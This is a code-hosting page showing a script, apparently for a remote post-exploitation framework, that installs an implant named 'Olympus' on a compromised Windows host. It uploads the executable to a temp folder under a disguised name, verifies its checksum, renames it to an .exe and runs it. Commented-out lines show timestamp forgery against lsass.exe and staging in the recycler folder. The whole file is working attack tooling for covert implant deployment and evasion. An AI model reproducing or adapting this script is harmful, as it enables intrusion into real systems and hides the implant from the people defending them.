97 lines
2.3 KiB
PostScript
97 lines
2.3 KiB
PostScript
|
#ifnot (`script canGetOut.eps`) {
|
||
|
# echo "Cannot get out!!! Not installing olympus!!\n";
|
||
|
# return false;
|
||
|
#}
|
||
|
|
||
|
@echo off;
|
||
|
@record on;
|
||
|
string $ScriptsDir;
|
||
|
if(`getdirectory -scripts`) {
|
||
|
string $Dir = GetCmdData("dir");
|
||
|
$ScriptsDir = $Dir[0];
|
||
|
}else{
|
||
|
$ScriptsDir="E:\\resources\\ep\\scripts";
|
||
|
}
|
||
|
@record off;
|
||
|
@echo on;
|
||
|
|
||
|
echo "starting Oly proxy install.\n";
|
||
|
# get name of olympus file
|
||
|
string $olyPath="$ScriptsDir\\..\\..\\..\\resources\\olympus";
|
||
|
string $olyFile="98_ic2.EXE";
|
||
|
#string $olyFile="install_933c.exe";
|
||
|
|
||
|
# TODO: get better temp path directory
|
||
|
### Get temp path
|
||
|
string $temppath;
|
||
|
#string $temppath="C:\\recycler\\S-1-5-21-1013845014-287268453-925700815-1069";
|
||
|
@echo off;
|
||
|
@record on;
|
||
|
ifnot(`lpgetenv -option temppath`) {
|
||
|
`script temppath.eps`;
|
||
|
ifnot(`lpgetenv -option temppath`) {
|
||
|
echo "Could not get temp path. Exiting.";
|
||
|
return false;
|
||
|
} else {
|
||
|
$temppath=GetCmdData("value");
|
||
|
}
|
||
|
} else {
|
||
|
$temppath=GetCmdData("value");
|
||
|
}
|
||
|
@echo on;
|
||
|
@record off;
|
||
|
|
||
|
|
||
|
# put up as new name
|
||
|
string $tempname="\$agn\$tst.tmp";
|
||
|
string $newname="\$agn\$tst.exe";
|
||
|
|
||
|
if (`dir "$tempname -path $temppath"`) {
|
||
|
echo "Temp name exists!!! Please reconsider before continuing!\n";
|
||
|
pause;
|
||
|
}
|
||
|
if (`dir "$newname" -path "$temppath"`) {
|
||
|
echo "Executable name exists!!! Please reconsider before continuing!\n";
|
||
|
pause;
|
||
|
}
|
||
|
|
||
|
ifnot (`put "$olyPath\\$olyFile" -name "$temppath\\$tempname" -permanent`) {
|
||
|
echo "ERROR putting up olympus!";
|
||
|
pause;
|
||
|
} else {
|
||
|
# Compare checksums
|
||
|
ifnot (`script checksum.eps "$olyFile" "$olyPath" "$tempname" "$temppath"`) {
|
||
|
`del $tempname -path $temppath`;
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# match times
|
||
|
#`matchtimes $systemroot\\system32\\lsass.exe $newname`;
|
||
|
|
||
|
# run
|
||
|
if (prompt "Run olympus installer?") {
|
||
|
if (`move "$temppath\\$tempname" "$temppath\\$newname"`) {
|
||
|
`run -command "$temppath\\$newname"`;
|
||
|
echo "Hit return when done running.";
|
||
|
pause;
|
||
|
echo "Successfully installed Olympus ($olyFile)";
|
||
|
ifnot(`dir "$tempname" -path "$temppath"`) {
|
||
|
ifnot(`dir "$newname" -path "$temppath"`) {
|
||
|
return true;
|
||
|
} else {
|
||
|
echo "$temppath\\$newname still exists!";
|
||
|
return false;
|
||
|
}
|
||
|
} else {
|
||
|
echo "$temppath\\$tempname still exists!";
|
||
|
return false;
|
||
|
}
|
||
|
} else {
|
||
|
echo "Error renaming olympus!!";
|
||
|
return false;
|
||
|
}
|
||
|
} else {
|
||
|
return true;
|
||
|
}
|